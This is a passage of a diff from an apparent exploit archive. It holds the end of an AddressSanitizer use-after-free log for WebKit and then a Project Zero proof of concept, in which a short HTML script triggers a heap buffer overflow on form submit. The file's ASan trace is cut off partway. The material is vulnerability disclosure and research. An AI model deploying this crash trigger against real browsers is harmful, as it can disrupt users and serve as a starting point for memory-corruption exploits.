#38 0x10cfff2eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb)
|
||||||
|
#39 0x10d002689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689)
|
||||||
|
#40 0x10d001ba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9)
|
||||||
|
#41 0x10c8a2683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683)
|
||||||
|
#42 0x10c64c3b5 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xd63b5)
|
||||||
|
#43 0x10c655888 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf888)
|
||||||
|
#44 0x11f0c4312 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03312)
|
||||||
|
#45 0x11f0c4d41 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03d41)
|
||||||
|
#46 0x7fffd2f753c0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa73c0)
|
||||||
|
#47 0x7fffd2f562cc in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x882cc)
|
||||||
|
#48 0x7fffd2f557c5 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x877c5)
|
||||||
|
#49 0x7fffd2f551c3 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x871c3)
|
||||||
|
#50 0x7fffd24b6ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
|
||||||
|
#51 0x7fffd24b6cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
|
||||||
|
#52 0x7fffd24b6b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
|
||||||
|
#53 0x7fffd0a51e23 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46e23)
|
||||||
|
#54 0x7fffd11cd85d in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c285d)
|
||||||
|
#55 0x7fffd0a467aa in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b7aa)
|
||||||
|
#56 0x7fffd0a111dd in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x61dd)
|
||||||
|
#57 0x7fffe89118c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
|
||||||
|
#58 0x7fffe89102e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
|
||||||
|
#59 0x10c56256c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
|
||||||
|
#60 0x7fffe86b8234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)
|
||||||
|
|
||||||
|
0x60c0000b7070 is located 48 bytes inside of 120-byte region [0x60c0000b7040,0x60c0000b70b8)
|
||||||
|
freed by thread T0 here:
|
||||||
|
#0 0x10f545294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
|
||||||
|
#1 0x11f10bf30 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c4af30)
|
||||||
|
#2 0x111564a83 in WebCore::removeDetachedChildrenInContainer(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afa83)
|
||||||
|
#3 0x111550892 in WebCore::ContainerNode::~ContainerNode() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39b892)
|
||||||
|
#4 0x111fb570d in WebCore::TemplateContentDocumentFragment::~TemplateContentDocumentFragment() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe0070d)
|
||||||
|
#5 0x111fb4b99 in WebCore::HTMLTemplateElement::~HTMLTemplateElement() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdffb99)
|
||||||
|
#6 0x111fb4c5d in WebCore::HTMLTemplateElement::~HTMLTemplateElement() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdffc5d)
|
||||||
|
#7 0x111564a83 in WebCore::removeDetachedChildrenInContainer(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afa83)
|
||||||
|
#8 0x111550892 in WebCore::ContainerNode::~ContainerNode() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39b892)
|
||||||
|
#9 0x11195296d in WebCore::HTMLUnknownElement::~HTMLUnknownElement() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79d96d)
|
||||||
|
#10 0x11e792118 in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12d1118)
|
||||||
|
#11 0x11e79092f in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cf92f)
|
||||||
|
#12 0x11e78f3d2 in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'()::operator()() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12ce3d2)
|
||||||
|
#13 0x11e78ebdd in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cdbdd)
|
||||||
|
#14 0x11e78e83c in JSC::JSDestructibleObjectSubspace::finishSweep(JSC::MarkedBlock::Handle&, JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cd83c)
|
||||||
|
#15 0x11ea4de0d in JSC::MarkedBlock::Handle::sweep(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x158ce0d)
|
||||||
|
#16 0x11ea48f74 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1587f74)
|
||||||
|
#17 0x11ea488c9 in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x15878c9)
|
||||||
|
#18 0x11ea498da in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x15888da)
|
||||||
|
#19 0x1124f0ac9 in void* JSC::allocateCell<WebCore::JSHTMLDocument>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133bac9)
|
||||||
|
#20 0x1124f0724 in WebCore::JSHTMLDocument::create(JSC::Structure*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b724)
|
||||||
|
#21 0x1124f066b in std::__1::enable_if<std::is_same<WebCore::HTMLDocument, WebCore::HTMLDocument>::value, WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::HTMLDocument>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b66b)
|
||||||
|
#22 0x1124f0439 in std::__1::enable_if<!(std::is_same<WebCore::HTMLDocument, WebCore::Document>::value), WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::Document>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b439)
|
||||||
|
#23 0x1124efb1d in WebCore::createNewDocumentWrapper(JSC::ExecState&, WebCore::JSDOMGlobalObject&, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133ab1d)
|
||||||
|
#24 0x1124efce8 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133ace8)
|
||||||
|
#25 0x112ac88fe in WebCore::createWrapper(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Node>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19138fe)
|
||||||
|
#26 0x111f50f6b in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd9bf6b)
|
||||||
|
#27 0x1126e1040 in WebCore::JSDOMWindowBase::updateDocument() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x152c040)
|
||||||
|
#28 0x113a707c3 in WebCore::ScriptController::initScript(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28bb7c3)
|
||||||
|
#29 0x10c925476 in WebCore::ScriptController::windowShell(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3af476)
|
||||||
|
|
||||||
|
previously allocated by thread T0 here:
|
||||||
|
#0 0x10f544d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
|
||||||
|
#1 0x7fffe883a281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
|
||||||
|
#2 0x11f115ae4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c54ae4)
|
||||||
|
#3 0x11f10ac4d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c49c4d)
|
||||||
|
#4 0x11f0a0437 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bdf437)
|
||||||
|
#5 0x11f09f768 in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bde768)
|
||||||
|
#6 0x1112fce08 in WebCore::Node::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x147e08)
|
||||||
|
#7 0x111fa8d3d in WebCore::HTMLTableElement::create(WebCore::QualifiedName const&, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xdf3d3d)
|
||||||
|
#8 0x111ecb5e3 in WebCore::tableConstructor(WebCore::QualifiedName const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd165e3)
|
||||||
|
#9 0x111ec61a4 in WebCore::HTMLElementFactory::createKnownElement(WTF::AtomicString const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd111a4)
|
||||||
|
#10 0x111e8aac9 in WebCore::HTMLConstructionSite::createHTMLElementOrFindCustomElementInterface(WebCore::AtomicHTMLToken&, WebCore::JSCustomElementInterface**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcd5ac9)
|
||||||
|
#11 0x111e89e17 in WebCore::HTMLConstructionSite::createHTMLElement(WebCore::AtomicHTMLToken&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcd4e17)
|
||||||
|
#12 0x111e8a504 in WebCore::HTMLConstructionSite::insertHTMLElement(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcd5504)
|
||||||
|
#13 0x111feadf4 in WebCore::HTMLTreeBuilder::processStartTagForInBody(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe35df4)
|
||||||
|
#14 0x111fe7a43 in WebCore::HTMLTreeBuilder::processStartTag(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe32a43)
|
||||||
|
#15 0x111fe583e in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe3083e)
|
||||||
|
#16 0x111eb7bba in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd02bba)
|
||||||
|
#17 0x111eb7779 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd02779)
|
||||||
|
#18 0x111eb69a6 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd019a6)
|
||||||
|
#19 0x111eb842e in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd0342e)
|
||||||
|
#20 0x1118a5351 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x6f0351)
|
||||||
|
#21 0x1119e103d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x82c03d)
|
||||||
|
#22 0x1119a0386 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb386)
|
||||||
|
#23 0x11142f997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997)
|
||||||
|
#24 0x1114292aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa)
|
||||||
|
#25 0x113db0c41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41)
|
||||||
|
#26 0x10cfff2eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb)
|
||||||
|
#27 0x10d002689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689)
|
||||||
|
#28 0x10d001ba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9)
|
||||||
|
#29 0x10c8a2683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683)
|
||||||
|
|
||||||
|
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1343a) in WebCore::Node::nextSibling() const
|
||||||
|
Shadow bytes around the buggy address:
|
||||||
|
0x1c1800016db0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
|
||||||
|
0x1c1800016dc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c1800016dd0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
|
||||||
|
0x1c1800016de0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
|
||||||
|
0x1c1800016df0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
=>0x1c1800016e00: fa fa fa fa fa fa fa fa fd fd fd fd fd fd[fd]fd
|
||||||
|
0x1c1800016e10: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
|
||||||
|
0x1c1800016e20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c1800016e30: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
||||||
|
0x1c1800016e40: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
|
||||||
|
0x1c1800016e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||||
|
Addressable: 00
|
||||||
|
Partially addressable: 01 02 03 04 05 06 07
|
||||||
|
Heap left redzone: fa
|
||||||
|
Freed heap region: fd
|
||||||
|
Stack left redzone: f1
|
||||||
|
Stack mid redzone: f2
|
||||||
|
Stack right redzone: f3
|
||||||
|
Stack after return: f5
|
||||||
|
Stack use after scope: f8
|
||||||
|
Global redzone: f9
|
||||||
|
Global init order: f6
|
||||||
|
Poisoned by user: f7
|
||||||
|
Container overflow: fc
|
||||||
|
Array cookie: ac
|
||||||
|
Intra object redzone: bb
|
||||||
|
ASan internal: fe
|
||||||
|
Left alloca redzone: ca
|
||||||
|
Right alloca redzone: cb
|
||||||
|
==29516==ABORTING
|
||||||
|
=================================================================
|
||||||
|
-->
|
||||||
156
platforms/multiple/dos/42363.html
Executable file
156
platforms/multiple/dos/42363.html
Executable file
|
|
@ -0,0 +1,156 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1250
|
||||||
|
|
||||||
|
There is a heap buffer overflow in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
-->
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function go() {
|
||||||
|
i.value = "1";
|
||||||
|
i.type = "search";
|
||||||
|
f.submit();
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<body onload=go()>
|
||||||
|
<form id="f">
|
||||||
|
<input id="i" results="1">
|
||||||
|
|
||||||
|
<!--
|
||||||
|
=================================================================
|
||||||
|
|
||||||
|
ASan log:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
==805==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61200006a660 at pc 0x000116496d47 bp 0x7fff5597b2a0 sp 0x7fff5597b298
|
||||||
|
READ of size 8 at 0x61200006a660 thread T0
|
||||||
|
==805==WARNING: invalid path to external symbolizer!
|
||||||
|
==805==WARNING: Failed to use and restart external symbolizer!
|
||||||
|
#0 0x116496d46 in WTF::VectorBufferBase<WebCore::RecentSearch>::buffer() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2694d46)
|
||||||
|
#1 0x116496bed in WTF::Vector<WebCore::RecentSearch, 0ul, WTF::CrashOnOverflow, 16ul>::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2694bed)
|
||||||
|
#2 0x116493b4b in unsigned int WTF::Vector<WebCore::RecentSearch, 0ul, WTF::CrashOnOverflow, 16ul>::removeAllMatching<WebCore::RenderSearchField::addSearchResult()::$_0>(WebCore::RenderSearchField::addSearchResult()::$_0 const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2691b4b)
|
||||||
|
#3 0x116493860 in WebCore::RenderSearchField::addSearchResult() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2691860)
|
||||||
|
#4 0x114905297 in WebCore::FormSubmission::create(WebCore::HTMLFormElement&, WebCore::FormSubmission::Attributes const&, WebCore::Event*, WebCore::LockHistory, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb03297)
|
||||||
|
#5 0x114b3aaab in WebCore::HTMLFormElement::submit(WebCore::Event*, bool, bool, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd38aab)
|
||||||
|
#6 0x1154cd5a0 in WebCore::jsHTMLFormElementPrototypeFunctionSubmitCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16cb5a0)
|
||||||
|
#7 0x1154c99a8 in long long WebCore::BindingCaller<WebCore::JSHTMLFormElement>::callOperation<&(WebCore::jsHTMLFormElementPrototypeFunctionSubmitCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16c79a8)
|
||||||
|
#8 0x58d153801027 (<unknown module>)
|
||||||
|
#9 0x11fd2434a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#10 0x11fd2434a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#11 0x11fd1d91a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157091a)
|
||||||
|
#12 0x11f982757 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11d5757)
|
||||||
|
#13 0x11f9043da in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11573da)
|
||||||
|
#14 0x11ef3c0f1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f0f1)
|
||||||
|
#15 0x11ef3c362 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f362)
|
||||||
|
